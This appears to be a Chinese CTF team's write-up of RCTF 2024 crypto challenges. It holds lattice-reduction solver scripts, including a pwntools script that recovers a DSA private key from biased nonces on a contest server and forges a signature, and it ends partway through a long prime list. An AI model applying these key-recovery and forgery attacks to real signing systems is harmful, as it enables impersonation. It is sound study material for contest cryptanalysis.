RCTF 2024

 

img

本届RCTF比赛中,HASHTEAM取得了第十名的好成绩,各位师傅辛苦了😋

Crypto

Hello, XCTF!

from Crypto.Util.number import *
        
p = 1249101128391900463071168842981
c = bytes_to_long(b"hello")-ord('$')
dim = 64
L = matrix(ZZ, dim+2, dim+2)
c = inverse_mod(256, p)*c

for i in range(dim):
    L[i, i] = 1
    L[i, -1] = 256**i
    c -= 256**i*102
    c %= p

c = inverse_mod(14, p)*c% p

L[-2,-2] = 1
L[-2,-1] = -c
L[-1,-1] = p
L[:,-1:] *= 2**128

res = L.BKZ(block_size=30)

for item in res:
    if abs(item[-2]) == 1:
        if(all(abs(j) <= 1 for j in item[:-2])):
            print(item, p)

"""
p = 1249101128391900463071168842981
sig = (0, 0, 1, 0, -1, 1, -1, 1, 0, 0, -1, 1, 0, -1, 1, -1, 1, 0, -1, 0, 1, 1, 0, -1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, -1, 0, 1, 1, -1, 0, -1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, -1, 1, 1, 0, 1, 1, -1, 1, 0)
hello = ''
for i in sig[:-2]:
    if i == 0:
        hello += 'f'
    if i == -1:
        hello += 'X'
    if i == 1:
        hello += 't'

hello = hello[::-1]
assert p.bit_length() == 100 and isPrime(p)
assert b2l(f"{hello}$".encode()) % p == b2l(b"hello")

print(hello)
# XttfttXftftffftfffftttXfXttfXffftfffftffXfttfXftXtXftXfftXtXftff
"""

SignSystem

from pwn import *
from hashlib import sha1
from tqdm import tqdm

io = remote("121.37.182.7", "10089")
# io = process(["python3", "task3.py"])
io.recvuntil("your pubKey: ")

pk = eval(io.recvline())
q = pk[1]

def sign(m):
    io.sendlineafter(">", '1')
    io.sendlineafter("Which message to sign?: ", m)
    io.recvuntil("Signature: ")
    return eval(io.recvline())

r = []
s = []

for _ in range(19):
    r1, s1 = sign('hash')
    r.append(r1); s.append(s1)
        
def solve(msb, lsb):
    L = matrix(ZZ, 20, 20)
    A = []
    B = []
    h = int(sha1(b'hash').hexdigest(), 16)
    P = (msb<<152)+lsb

    for j in range(1, 19):
        A_ = s[0]*r[j]*inverse_mod(s[j]*r[0], q)%q
        B_ = h*(r[j]-r[0])*inverse_mod(s[j]*r[0], q)%q
        B_ = ((A_-1)*P-B_)*inverse_mod(4, q)%q
        A.append(A_); B.append(B_)
        
    for i in range(18):
        L[i, i] = q
        L[-2, i] = A[i]
        L[-1, i] = B[i]
        
    L[-2, -2] = 1
    L[-1, -1] = 2**150

    def check(u):
        return all([i > 0 for i in u]) or all([i < 0 for i in u])

    def sign_(pubkey, x, msg, k):
        p, q, g, y = pubkey
        k = k
        r = pow(g, k, p) % q
        Hm = int(sha1(msg).hexdigest(), 16)
        s = (Hm + x * r) * inverse_mod(k, q) % q
        return (r, s)

    basis = L.BKZ(block_size=24)
    for item in basis:
        if abs(item[-1]) == 2**150:
            if check(item[:-2]):
                k = P+4*abs(item[-2])
                sk = (s[0]*k-h)*inverse_mod(r[0], q)%q
                sig = sign_(pk, sk, b"get flag", 1)
                io.sendlineafter(">", '2')
                io.sendlineafter("Which message to verify?: ", "get flag")
                io.sendlineafter("r:", str(sig[0]))
                io.sendlineafter("s:", str(sig[1]))
                io.interactive()

for msb in tqdm(range(2**8)):
    for lsb in range(4):
        solve(msb, lsb)

Mersenne

from tqdm import tqdm

c0 = 
h0 = 
c1 = 
h1 = 
c2 = 
h2 = 

n = 607
p = 2**n - 1

def check(t):
    if bin(t[0]).count('1') == 12 and bin(t[1]).count('1') == 12:
        return 1
    return 0

def solve(h, c, i):
    h0 = h[i]
    L = matrix(ZZ, [[1, h0],
                   [0, p]])
    basis = L.LLL()
    for item in basis:
        if check(item):
            g, f = item
            g, f = abs(g), abs(f)
            if bin(c[i]*g%p)[2:].count('1') < 250:
                return 1
            else:
                return 0
    return None

m = ''
for i in tqdm(range(336)):
    ck = []
    ck0 = [solve(h0, c0, i), solve(h1, c1, i), solve(h2, c2, i)]
    for i in ck0:
        if i != None: ck.append(i)
    if all(ck):
        m += '0'
    else:
        m += '1'

print(m)

from secrets import randbelow, token_bytes
from tqdm import tqdm

def genG(p):
    while True:
        g = randbelow(p)
        if pow(g, (p - 1) // 2, p) != 1:
            return pow(g, 2, p)

p = 0x1795712A13E07F7CCA7A0B09B33EE746414E48863BD7EE1BD0D883460828FE88516774E44AC3F0CE5DA045688C40844677DA6D38582AC7CF2C00E8724AD399059E9298BB1AD9834DAA0481765FFBB00FCA71BAD1E024F7193334D71755B0EEA1D1C761E11FB67C3B495F8D12720A59A8AAEC3F8A59BD6BC45C8C236A29B74CBE823BF9A816556F6DD79364A3E87B02028F9B35C5BC46EE597ABDC1A465B9F41353DD514AA5B91326EB4868BA1C3BC8B74F55DBEF6E59BCF896E15C8400CA6B695C368EF87CBD99FDD4D33F5889EE36A571240B16FFD76C0FAEB81E4550B8549193E88CF630D2422903D1AA08CA369FE0E79DD04F581B7DD8CB1D3F28F9EE2583B
F = GF(p)

f = open("data", "r")
leak = []
rg = []

for _ in range(72):
    data = f.readline().split()
    leak.append(int(data[0])); rg.append(int(data[1]))

g = genG(p)
a = []
leak0 = []
for g_ in tqdm(rg):
    exp = discrete_log(F(g_), F(g))
    a.append(exp)

for leak_ in tqdm(leak):
    exp = discrete_log(F(leak_), F(g))
    leak0.append(exp)

w = 2^4096
A = matrix(ZZ, 74, 74)
A[:72, :72] = identity_matrix(72)
A[:72, -2] = matrix(ZZ, 72, 1, leak0)*w
A[:72, -1] = matrix(ZZ, 72, 1, a)*w
mod = (p-1)//2
A[-2:, -2:] = identity_matrix(2)*mod*w
AL = A.LLL()
dim = 69
ker = AL[:dim,:-2]

B = matrix(ZZ, 72+dim, 72+dim)
B[:72, :72] = identity_matrix(72)
B[:72, 72:] = ker.T*w
B[72:, 72:] = identity_matrix(dim)*mod*w

BL = B.LLL()

from Crypto.Util.number import *
K = BL[:3, :72]

canda = []
def search(K, u1, u2, u3):
    for i in tqdm(range(-600, 600)):
        for j in range(-600, 600):
            u = i*K[u1]+j*K[u2]+K[u3]
            if all([_ > 0 for _ in u]) or all([_ < 0 for _ in u]):
                if all([64*8 <= abs(_).bit_length() <= 65*8 for _ in u]):
                    print("FIND")
                    canda.append(u)

search(K, 0, 1, 2)

e2 = -K[1]
e3 = -K[0]-K[1]
print(all([i > 0 for i in e2]))
print(all([i > 0 for i in e3]))

def DEC(e1, c):
    m = []
    c = long_to_bytes(c)
    for i in range(len(e1)):
        m.append(long_to_bytes(abs(e1[i]))[32] ^^ c[i])
    print(bytes(m))

def search_c(e1, e2, e3):
    w = 2^2048
    dim = 20
    L = matrix(ZZ, dim+3, dim+3)
    L[:dim, :dim] = identity_matrix(dim)
    A = matrix(ZZ, 3, 20, [e1[:dim], e2[:dim], e3[:dim]])
    L[:20, 20:] = matrix(ZZ, 20, 3, A.T)*w
    L[-3:, -3:] = identity_matrix(3)*mod*w
    t = L.LLL()[0][:-3]
    res = t*vector(ZZ, leak0[:dim])
    a_ = t*vector(ZZ, a[:dim])
    c = inverse_mod(a_, mod)*res%mod
    print(c)
    if (mod-c).bit_length() < 600:
        DEC(e1, mod-c)
    if c.bit_length() < 600:
        DEC(e1, c)

for e1 in tqdm(canda):
    search_c(e1, e2, e3)

import random
from hashlib import sha256

q = [7, 13, 19, 37, 43, 127, 547, 757, 883, 1093, 1423, 2269, 2521, 3319, 6637, 14221, 29863, 60083, 66361, 97369, 98317, 243421, 340789, 368089, 486119, 573371, 1032067, 1032319, 1147021, 1228951, 1605829, 2275201, 3096199, 4029973, 5505697, 5604013, 5614057, 9290863, 10194997, 17201101, 17307163, 20447281, 21105169, 21153199, 21673387, 22435211, 23076217, 24349597, 25801651, 37520893, 50974981, 117311503, 172586719, 200728501, 217252351, 224289913, 402702343, 2954364199, 41753606119, 74213344339, 544454860723, 1099780096003, 2565527131483, 24199197145819, 48863649488023, 60185129215543, 301083537979267, 1286742769851247, 110420238586920863, 331260715760762587, 331341599832490279, 462616051836602707, 492976393404504523, 11452955385104625407, 15662857755039263047, 153396787902983456959, 448084290173471019283, 577064106873128242843, 9409770093642891404923, 13401593937055998100079, 14000036596294523920279, 201487636602438195784363, 418181759976325187449279, 744514147304399122818847, 1196676679086110738119607, 6381739904822878304309179, 7023447244752843843629983, 8562891168052823344266539, 66699733024727702544088207, 256198271294699515679191127, 283612372943408244934346623, 13893613864592640337214598943, 30059417810366004005523091183, 30112959820461915010098989563, 44755746992646705252891455299, 77653195767323260324148629507, 210467302019570344978727237503, 299751990816392370400651717499, 383538465677135749899548081819, 1039269538175403116470285450523, 2585052944496664040488766120459, 3840190331681789092736332534127, 46770671975333534613088578322463, 105560091663244516544338993617307, 187384426394864465030360872225283, 212044996402073095523728124033707, 890121949097668205788861059104263, 2092281955214348377195909022724847, 2124996625174763670419043315960187, 21996314545049412392488982040344119, 108589405773515652027929783484585923, 164079145950336839267080055228218963, 583369397466845003083054409271457903, 1672759324801401837295835180121046763, 5017665541190870181751717683692471107, 6052498975695450845102764877035474123, 8579610116119035090803678661545650979, 11515981224788190242571620514743346019, 36011070280011630822796092627475058227, 36276881231772892598841468882727404883, 64486819936505778290234310820551828523, 121239603142235466671359967872023795359, 129966073822609575594736860094960619347, 252077491960081415759572648392325407583, 761814505867230744575670846537275502523, 2709289289764652687717182093123893517339, 4035998387438695847106178787979831129859, 8199575277555001634863410091410920200939, 31450144724896547552463095625764077975159, 35418448818623206598365145558568926591023, 47517965408559606075293867767338104792963, 69545362001651680923963197202260178918847, 87009054210780574110324951418333424767363, 93647671698380597288823099610801567941823, 146096912126007186248083747789666311222883, 199717771166051715989407892966323336402339, 207056793346790548770436713996558362182759, 687199586636419903985053500743924198816863, 2064766736645026876486659562981537413504163, 3138240709557062332396386589016101758655219, 8422834101400936603041015729989743659820327, 16034753780171379232283862954742637027810119, 26947921708892409307324634178250899448541999, 126837475080031479313629173290586784489915107, 264255963828790393600881384346182089944344523, 500224429809322957324382377208058750222753067, 1922872041773505901117524656891055255930294299, 4963588456419634900741438956449274453618650639, 13999355917790600481104015179011817800725121199, 14102690311676084576140690466838540491062886287, 73529325933038725795510741835725402798316491939, 168776838500742201764077882216501401102637462847, 484942570595977938826872189635968332704198142367, 662352967682866528364732183467228857545713768843, 898017611571597386643697965220226316027128116783, 5161324565601032601988385909011686052466692558799, 5502063891598198139634317952133722011584677492439, 11592864812303340066773695884799407232944576877663, 13330115421579895946448331853558717299463284731427, 87447748066161635637798021441367739038521711280747, 129875104123237703190412253636854373297055641519503, 174285091093124045036193162858457503237096951028003, 183007116419072044186772682409057197496574605807367, 284815827275565664632584957011605295974690274271623, 271863871194931148631139608968488443401436378890467543, 313122067883427321785401067171302816460678506797455419, 815392518842065557831440694639651717283473225738491263, 1395633043730642202749139490980079467001455061776127879, 1762997511586710334524845728544457815141494640049968519, 4027321638356841032370655828255397764822279002753222887, 10602712544520663565651047432637105705345150467380464579, 182934206784631769268282961835612983009919930564652086447, 1102682482980753322707384966051022339006350292273686349979, 1634743224310711507471531233441262575937114000666711206463, 1671479796763985536145936203612766744403541435454920314547, 6779760373829326807563758367272657437890407737436869231699, 10986151769313328945057156033886654809553891305637984848343, 21359758791878565093920187731576779988005691002645619411263, 42385503584643939926246720706565667476535320545193221112159, 66456573514302597734450548552250765231560759665936575527927, 1114051667977712342094638488016259372993103237250592424543543, 2226492230775753263764271928501245616213735474902380544134267, 2736448249528895157261295208872742213393938778702989632023623, 3011058345066519920264180738701247356259319410951493683084579, 3138351769903224298153210861852718059230198388330216442016103, 3957876165228666223696972903313162672943644711373692623457587, 4461602580118856195151941962179631562192095967449287424346899, 6036194204794489371210623927881116644768184999618541595156947, 8966986411150217275357561799858546403450943443226811882662663, 27498773449261578961091419455406100025417509814071875166533507, 33536408744815308951342062382007650944960928568412613760435459, 42554856379363828609363404243261873223031944063526199977081699, 249807902903649739392825045135128649830251394395733811988846147, 398552547918371395092733893192884001801842911965159104275599679, 704264583641121487978183310022160669844179499936664888969144619, 2026602736259639388495898747370982544340554839456915365285956823, 3594341824361842332335872036206487866946796892201408719651088259, 7946188648214497786164402711355162520074632847457176794443947303, 240296859926676633911225841523984420470244726896416200468485349747, 365449140282378456202543352075431690381837337587771836822292147283, 555798180820958463922085702922079308018385163069593305423690407107, 1542420299568360023751529562755468425404000232612887138748687153283, 1774767726458136651613828908735200568030960199219978783786365855163, 4704519113229776666327714891186597018403719337834301816412239705483, 23023295837789842740760231180752196494055752268029625719804405278767, 56746874257412390135906689264759563919872711939410365555127323053403, 122962910912199114967036728131868710791454677430658820466904696430063, 182850797921974244745951570930449374080708461391725011853414276494963, 215435135855907905045818612210243178715906013666566200547828960347227, 322124745655804069733128813822125107518655515224762862871987425947007, 2706626259491720092962231082233149606473663123608405097999744676131927, 12825197381948734131335447377237879943804100984487030769788629320730763, 22170702318177842828344569469027950969899428362292872445024183007405863, 27539239098073789637510875115288376196330491100696054042958014793814319, 52027178610332779462338557756825085703719481737617854501408903259584939, 66875757702134612634202300557538464769445981311842001290114608976187723, 156340466972338164846127788937814070205773043756736651681175877983712939, 290641092352723429888408697645808050584975501725230350996186185699933967, 8299316152003953617452225544483791658229833299262318568971327489221473127, 26074261229012287660110057193652234549655299303338828112907980734943389399, 65913090432074737330538164336834666566558142332704809509590811197345111483, 119102644211700567788431173141750078197511887767906263064025847441944500807, 952695528302535784959368942707258558508043799298267984132568174694389399379, 3213409150236868577045023829539027467322052075876248991934296630169407052179, 4774801949399698138348795632928763680231558517334858561937776130605768921019, 12737481744956855724533894786567670051606441030602173868213525261542172063443, 30244833029360363965012299466650286329609460777512010743948903295994759857543, 100424923146571674965654613792006794356128758396694127763047774906554762850027, 101166196432663330752115984815981168875383473111502963199720417708602821337483, 841224648521314419764782888129923280458220182836525757138558265698813022591939, 1059971604016697741572011654277559160753528066375821503163907236860516312906987, 1163686233014844751961165126444111198000751942601789151286872285636681013487759, 12815075723017380661339167490217834716685002724802048552142120987874254691598427, 713783383124544485555040181436109685064764999702555851390565612138299500609300363, 810892647742231801268596597667284203579612015321848791999652650174381569808552579, 887985286964962508120650370221217182761741621636330894723464050305533825859071383, 16699087486141267956227836048209169594524967424046519916548567893331933279747939299, 53280704105708112505401329502959567327547857122814461193556632594773310695123843183, 227012153413531542956740628548050010411654214609233222962636182056693016241985577203, 353554326270448054543245144021359672895564722746005243302705186228925259623383651279, 388896373214213206949911472870917037867907783721680602625753513552668722363132501003, 394977110309325265757609149549572517470010378981902453296587208716126082208238401583, 479409279381019937237358795267750072478884472017180430212108067649712399747813327907, 522004504848178917636902743956960014678478255236522237763380503446217460692905169147, 1374998680263916836350995184942379321135217898839706183845417525678855678608408081979, 3218923596558409257878738337206237347956995975468905459089983193511880176739636771683, 4770333768215900313367866505533172976842683327375960929157479419693210311100380750739, 33532419898996886022636285908848265283180654138979178576942734806246760612364077155199, 94721984446217816944672191305940188269916862666145269090786822599334947402359145994559, 141751613045271005140487675032702177554902190373454824975818252606248952878066140235083, 410396780174049868718570917991325369314682946365021401644315442901914787937399995421607, 704144366350005580215544027853466817834853422634077214460483036599649936105585993677587, 9689697827443012371423609544269469281153290975023963087303488565871160463634100561841507, 9776221167042470873582271578305207489448271753755931088186063273958792302368248723846443, 2181645646644646715604247943998223081412982591690552785959977600153966241632578282490312159, 3047274368004561997442324167901623850799523036193953814800080529210230977247074216931361843, 3185734723570694939546372866268252245260074112499635285262946640057522521306329506042759259, 23019365783201736885967603029349696319380960892024971237999061251439660978888734530299618983, 37578273889132917932896074198886899046458279909002470002750128010517356905432246651840515123, 75284564227151149688636689105684607366853201517400065716965176212213862835099593506051014083, 128673906755036124616971147317014593010631112698199755074252457021995668812752255666753035259, 4412935601531956580127314538438528711422024270392765285162782354287657912304418148054272538383, 33948493787133235531022458832819495226403045849040335652664235390555120185521786844043804828147, 150417376455684082725425888120416542105001296867041856809777271956592560516518158192588017263867, 248836448591108785356835003429110907839387598797798120015622165574359998060201101426011820688743, 351322656743500298912536889224555510450026481370318064604400625155722174415084575388791370599427, 1616688253851623626134820212403427055118514727635874151082733877903257239204111605554010259858563, 2497406336363998286928214922925462006842246248731897420693306384847400473041764435569455840436699, 4602124783358313724703287978304252109303024068750665391125118018676046861770553106601070702347607, 6423875186124446697824826595302670328285903466608244179549347026237132195475295328716803714184419, 9167548892949675133366445107492015492432137137858251439738687089651672068458528089092333360744203, 9296247861565109692639452930924695075043938462868890868277910173032297545922375777143415238843763, 634319849007703490559743885894153827246390359836394022454912581485733813990279421216614222472525887, 840509156046382059917031805934415592300136282772148165282281813447288575511900368746831751117625703, 2040282652279015910101189444436526793061496866726825345012697431809687017813838744477611508360268627, 3746278119794479571425029073340478203979788549611294090146837579459111296589266023930321500122919643, 42531991429216557460182796236292528048182442305953803504514838234499395168403941140967968195933489179, 446978235237063927312189892795429876438243211963551109440812610617400299065517858060213234870363489103, 2938944350971059508229001316231889222946211280897960815484596158346710094649986766614282072511131899739, 3389202708898293557810790482304245733981243385991896146054623765933628432877722181136019677257609720543, 5228973836455524776755387485424330356641551641739732575585681429202650811225112089306484546711239873759, 165311837810530738596136968154329176514600022320565295101278476439445633789888103612364207028843683841627, 376514978611810568086421356405485186218995102449670158841871192397073305863751785465756268820410975867379, 522279217680396004175932025398550868327944506917920695402456811759844101744713645913589365333144861825623, 615148700477328156580253222330271581668622808778582450209684847852038531368869307367499527646287735047947, 5194909531137556130339347406147138090431594103268536514406589954051003299470440420405732840324888472461779, 64210122141124380010366034020476444787330393937471464382006092787592311309178936526247720451359950785069043, 118778671937567482511850181889394340521570321290010692725600373832757775852251596598696116379522534818247079, 167079502673994895058452085591609153628587434400561062587517596208656202656150248472983987699168020764982783, 272640724998196883355944147656681907788110690150098521411084496721173334217425433194652369843741160508297223, 342754135529618220481338908114460014521358541596683067932383408812135732771302042035660123382847458364603107, 359517888215406307398633446113689677161543604726016261119969393242470076896097541167378514955003956081343739, 1690866549722426676946471514335134141460216772102937459833477717562112651889586518948451281559195166676129479, 14185566504433503109959953173535071130586205379569051391435981831760932638248772873301086828795896111672456379, 39277854241822414362116534555102894237192839179298226589055642361425772689034095533446585026210696676009374643, 47847024280385193618744795922237886296322340282426568271188764557434317126907307076251408884976987928087411667, 59861733569886403465052579807703214099209122849416013733757209999947190906160745607053467605182737919458353307, 258853479020777005564771652561486579731621826467088037696542415486509153720522766735709673886394128601007820187, 643708467163971080542895677438878818614582484100413574513910480706389298047503052700472577207621892382515585399, 748095500048503103318887118651192630225536072346955034192670543144408318066963300852468260403750490903998816383, 1642334654550831013478819019387406524466610315466148985933171214498377297173510332256763804301220693103828689723, 2227841979272360517894227868376264855154304209811806553384267403628110048708025542931663219863621244615383433179, 38908753804211298964846321917170775804954123732008599567019748848630942868764879653631420866714467583541514407087, 50025540605414527240516699607790997463512444798296770871882534233954069402697702411811826828632886893124804237683, 226687150978279576247730098859203613969218138092383551074580229175993041475896696141733129253445239209920709803607, 853842607660175075760219715719119754234965290245789554852157125639366064174292996682192712001203511642321835842063, 1279896699980861688156604591572350274339471293140113555734886168263807805686418277532843316073336061242965043202239, 1846518175320705803744274796763513668233090559954057154592103219365436597451018568239168759646779094274323102400507, 2421786247214514300716655519560377130668970677036924056950792940161196871029941177860824103257807906182246960798639, 16689479380674966447953158629996148567086885067938228906067137479164800708056183537461470751545692182233092382707143, 21280408726969861214374478962801126341899290239930623626102810277221649475851823813605197728034218737407537199138359, 31616681000605849443359287369484582791503366283671162037753731712634566202439439624080715656871543152674680955795119, 200571819951696449288279500777109786382433441093028901273739445637251836201919655055517117523199911410950117838624687, 1678777772193487384805876512931383603888945272256734273330768079363311533321422232556606864619188524345306395022735107, 2357748889512756313480115059800943072490041324709475681319540441671723552706914599737292760168710645217624797979564383, 43236194436582660129210338838343328974073953906733654129999435366166382856273646292723445485625172468785445258729812059, 370284256959188247785715666201438692711306821215625319732033076998393472144043038827386462682292607676315231413934043583, 909530263190943487542971519874497683611872309093014723228641234904857215992410108511186115068051147586087001324340133263, 24601360578899874616431198386443988720166717715729359513321541942524640759169276596216899429375038704442715958666746812443, 5530523399803056587703982005958981643866316649287527619828962529911131114080519022519699582230287865528828706449683504869007, 5836473525056282237570305715863301592100328412579382750918423488293608639851524928883590807492659399895630127596162371050127, 6210285642178860531799851020384433140263355661396992681242177059971317957020949781602744593849048203504709895232525541716839, 19995538452597510493800139544221642493606353397950799717885374756242476278105503720686604176937528403521881785596063527629447, 48978565538048691333615846846870995840623870498291063168317320449249308788600465380727905487297519600170574796703313802360859, 59079808192978089701756003691002711064809900156647000760670894258066586284150708293235689177866832743885008458094880178969347, 68765693754611311062563817266738496967535810685468637773831899327794283542657910496706914134017936216125428291162227584176407, 316870617984120580581853426087311929442081185504793274361117626950628065914158357270443570487820800239963105995231726798153983, 691322571325159758997851461132074052604304176897051002186147818399574806648830349063284386784483628114163142190699566190290467, 1310734045753324411285843735412278649596317045881144045899464119588938074037083008337168800988578224130332403428574990653954423, 1423511255904945441139009352617693015116208116289487251877212815387017722832172012054705511919303667767500087107146961547631539, 4120332230986525191315172688082853567248886535197599201896649924909029009838162115581284317076655482749501411751258474569992259, 4723906434705247513470843863740467284161117088028337988962918717973431571565202602134946566856708232028187772916575221124375963, 5068004449858236080987841048661311749942797902866433214148480932738976620790850549642113296346403910930514248438678452198682543, 197018911091222987600443368696348387059605727009540154394619421989901128566581525307403640241550172046807518891780113964197293183, 681444900692955089363334863085160414060935155767541300726113873075543206118475663640868725632316374678269784743791807271772565763, 1121423126433017709013428121215239988544859581497753962991845364642662835115521560229589738625797665056989871637209616835911993979, 1295869746625468666583544847332973208094121455195529894958889399607315133684887254973800251017206105557680912629872783995527243427, 2363584875934247887239057457087351574597625061427527975799817438592688140038804574476412042577535831452140648168536803095903606843, 2404479392631896486446776071582145388345422773211885686768220363360280555178728045215830581152506895948026399835468214285005890083, 13624313351837371913752131954949419640904355758987007912623956722787914315817534525706291250374511103981275969839256401218091726383, 35823116067920205868217242247970883747082914180767600248922812398377737237916700220846405108885361256435085654893257298087751440207, 38702965419540092877866623775625648459132032302216173143573193056356324865833704919291617222257010545006942423505500786672012256667, 62193307164250652337658662915965463714051493862075058244588838075910978767617138343123634545124122840767259548251666402936643411243, 124834069936536063987862056035115603777794249308648848959185602177703726525636647538664868382844065783415152342522774350453434466643, 166972111207776058888841792117421463745269004513339616993811965782334369629561092526871372397186840463972610272030694780172199279099, 577731201562747329768978417650496006459049153278366842824969448663335140530185036078323200234795395296114475612854609604336651124359, 1253084897984369865980075479802180270336917839492715885314858640823370187500359501649780626998928812105199182060158555284052690997799, 13864919517480529013786537999244318726242029872374340069696664968401000151610331578299550899503251343056126157209458069412148611652947, 37203458880526327349695438463431886170353664593637489488194062264352886780518907413650264242629764258459146094288113227578723583443783, 37212542864979039818723840161635194325295941766337314462675624806381171761952558494128485173546424363514163383596845607438056538129223, 98355820492755240318530411737921647038970639420072241443315568422770170298100727369185027389668038952171490408472434136961233938114863, 169719556513257752992435963858571092445469350110645463056937179488876101217495170909651761081913158433734301470539468219489399933276067, 1184134622104579066695108612660499486806303992818686130133889115778782506744658180005032905381711126001145675288955053603356430426173683, 2211446119212954902391451093762141227568456708919112482464862025570035688219220569551461200889489624926508656382181664451032248697533443, 13425170236592163368951689845357211301776131741911134539531155768784338934920603367093399057273325915345727209182533842659130833963882667, 2403755197114559524055926265042879183834025328330749633297688236983890276881371702758042412436846020154919828255983307863849734694541858639, 5599472892616188447009627706499459193521540127618789568386896658091764767416066723536492487655798594076977670741902076770918062483962574303, 6501051459291405957204544641246112954991043990663082834639540852298799235696906246447146983440020508307854222610005913324124838958405993623, 24257569208895094590396924119028831833366326669743353231392277724949336192161649083051149224764985972395708715868148678494693077990600478779, 31619002604124102733722744190416755838749609523313180099764901351239296897692577605545634666949844258073371650865001581744344882900937703207, 143319277396508145429595237110284884693531754196742549680565962948095818382377092365977640536040666626097558997791907217577211032294661502903, 356755920143929411580897574891582015993523255779016503248007351245542516841313292090386060195053629533103397393339834796188713061419949431543, 16834545705818887650126301681279443304783710441786907358352623047667843605871818827660849804201130397015010838138122230603765514498923052058123, 18456231079934533505419113805353389552153885702787495393834976774216297430081027629467814008540477386722183105474315585058643512490718205606203, 22384505603214930488257139097508139505839146711405262672280216517442684613887189885986381525715104242105694131620417028465570704218534330443523, 32091164400742031999354516356171359472165225382366094166222140878355564362604928350340137708041677055489577529347385579234900855077691573744639, 128278293564931484790713173180520778437807165836081571664746204781977827513938787345698639843815518155003668787559311417136807189929104261906743, 131431350136096500651266485041260251163575913024370851043468324731091758457608244650260217308539254588783056007287957645837246895608468756475879, 241459957462257810956374209505318167736852400763864449922052249324100365280940886573561310669167376435095914868269005925031836790003864971032047, 688890707963411791272682248056299795235770311094041488418309295110836198521198672309569586834100836630065731821939554320570788721855062996816423, 2169568131483380047628369469557964978117780760133991965131176511680208275486706081969843113978640228261049277365534844181884035982366813363685387, 2528181933442437668609414948591430509748787657660843348144351590129053164960834701342405291902497399180520766052302006575581476444629173356629239, 6869606140400240382464396661272290678495621303686855756128648495465210630048423437641948170607837025795287799317803119573852276426162775520549859, 10136816740701361332862291053685591379749569024598414432328879810622333298822926349508578258410039502272010413455662155528163607499224525783324383, 24986103082237816273394082979076790210142767875291689246598034930033427119259287686426279930774791120910012096884093826472879502602280583214080863, 34600044520699369501812467458950333001734959374442413522582307510055673658207731194919775730977217649445736313440039478759538896583673687274201159, 44935662819031863279170424416052838354462323542307184784465410669773788041623809658102061983822802884455925180126602373081623317189414455081150187, 79878917330976653598676267393971968312640722440897039689406915164440878611443575459350095748896224732167863306833988377509801918614300021169351907, 801004056277467222391786020952855324596358112863415017703279198431799203476430496748033488756437242269353001946891790632788906130379311539332402819, 12505772774575858803723518800181673357938031510170479348651270828736091021590878286104490216621362170011656160905130134674652295381452338368067219707, 16851046996733252268462522851963872973735232637931172569186647852049881123452702111211961698357466471716066169825914636792782599932629707383214253199, 21042403414945913682392620742224518239310496135102477652939403402633698431328984621819352692788259750539238491226125486448945189130443176204675634479, 27250798422114512532686494668664004812264820846423523681697401690407995233800611957958744234628428840748934629298749887570387045675809068728833565023, 70254127315866975441351593704270574694955508285353081406403731134336596920289784849136102819701995352141587648028452118126058509171339374887990679163, 116106994753087942623042465999261447436234867395177307401669776758488654928273802159140482748247129993273055043101133920294669213684702434130922781443, 306768009404030333316894606124313542923827690349251707790342301711174727344759542679619165507086846050203601975741442749497183428152377518378826186759, 18439414773143889874600778630096001541487219917401603018725416608826771182787070648354981064873031571355384435217381572540871153947012730337849252488567, 36638476866499380171330070635955564476605909896516371811698987332596355873145252489073004368635423290221411806048262056167179272012807856504715273166739, 97118747406856020988038501486671925383996840339616205943016651523211992115083283910319223319354116010383198058107928802186707513141910399651241341846663, 97142460932911324919906189651414440452742744039152972883796265212893701326256221632045818386809465189644670708004511722430088020817579391803963066221703, 45460672990697045271368761418502741908784064900860840094188383975986734164553396588242631637498144470421947809575083052666073074641172824756895000588259419, 262347184816367265796718450761336891781551409508403749838698318248620157241190912445075195489196861158288514313183305161859693176330451036509480470000602787, 8964173465619381349317929829007252692208156138047209219617410117334416514798459346314905794991669679788399594952339299793828584416101895924461318021861019959, 16935132170097102197752046821855540085599335682819100648981352427727592362475291809425384521116023828021029284052082876966292769795806051265962339881633658179, 20921511920674607893408724763903265744957065180203699017388112466497624284385563096508613610408466520390042126322044975480236973297841526600894520403359433347, 20953661175093391982029747143313610113419504377552023577748642475197321172283900783104078173227931940240606683812493615960326079077673893952285211729162583083, 23819203641794028113927187645358875762630175279366176852009298254358199455388427981889065066576163276724882668362478984976083776923750320643428333020162438343, 84135760181391454592187724986658132787790998783975497670909958552615261271622424118001389685271340171389240937681389280973689692910577290505337261765795594143, 93382281275013428712297346203321109004184836242836206138695982264967629435323089136272330811555166475528533119253701867394042002363372011458536547768450310763, 311821713331200143119251775974659168493981199661177983231341659676186644414813493084180784915189748647917790426314307712405111834095371684113574192356253350683, 27875274163078469641338663759890923665275005866254486286461539932768724672110452133819140821948311938645636550450113327175333734516377142144511121490852716083319, 65705836260699955899709786849021836149388539614876286941031316793374107288115669598622204349519993690236923483565286901967893872262345445005399986383100383498887, 240278247556862982985577407384508602402327297301281836158480523794295654650180786170611202182792566404126061225634442582730776376063375799831987547962873898560667, 480882102737752361497504858922621498740426546068929372515221663550663270884683327484475352056065302588536587045551518069140705434502707986455084438245921348998303, 482099684926023715949117562551465430231810267817370139663365228750636177003475197071377568161306671329989773177726477595992751363992608661919791519539228087873627, 690022090336192526853527763900803915088171094945912724951734710126916057740289651632579862019757071136156569142040444003474566866375242487265093203338406449562747, 2722417537189015575209947437813738709538890881481215348711204614272122330373467570123539414243360636808520121768904537401746625283054144979846617642738854815304563, 3597487940174557703157208465974042897927262136123422284954301644739988399951143271693746328344017670877842563648330580466230015713116432547541835052320168770034143, 5390603515226640428098046433225037830577226013243260751223514664748304794682325126990743734778189732251958248056201182504750832130104843153409670266437808335123187, 6215727852791193507121763338077921754835627948296936772547170979565507833376053478990735723370017379695260029041072650700681799547138483349659691850244120892543963, 9440040559463577679078317540392897273336041276949859939544712944905482823992572064927385705878409731474276866820354809454867231461455447045588751780705702692629359, 184701845236522513520490226711327768957095795368531741367048743555812076224512817490795913837939686621868895547430859097249886006688013367123346803301198176612535183, 296786167966790954172633180058220870470907640952410197957891795630084889531795825862256888413745011385006979444291440418110385619862702135423437352666629260668211179, 524559580810444008194024027778743229824175937404130472372160398189138373026448923114904737960837943799232665711968587438987504717272984394559565173342985252269826747, 2271074166937863763576679800270331904124897666797641769316570319367596434070178038570892831254183764768280557073448212340589363551916224618378128530182575011991366863, 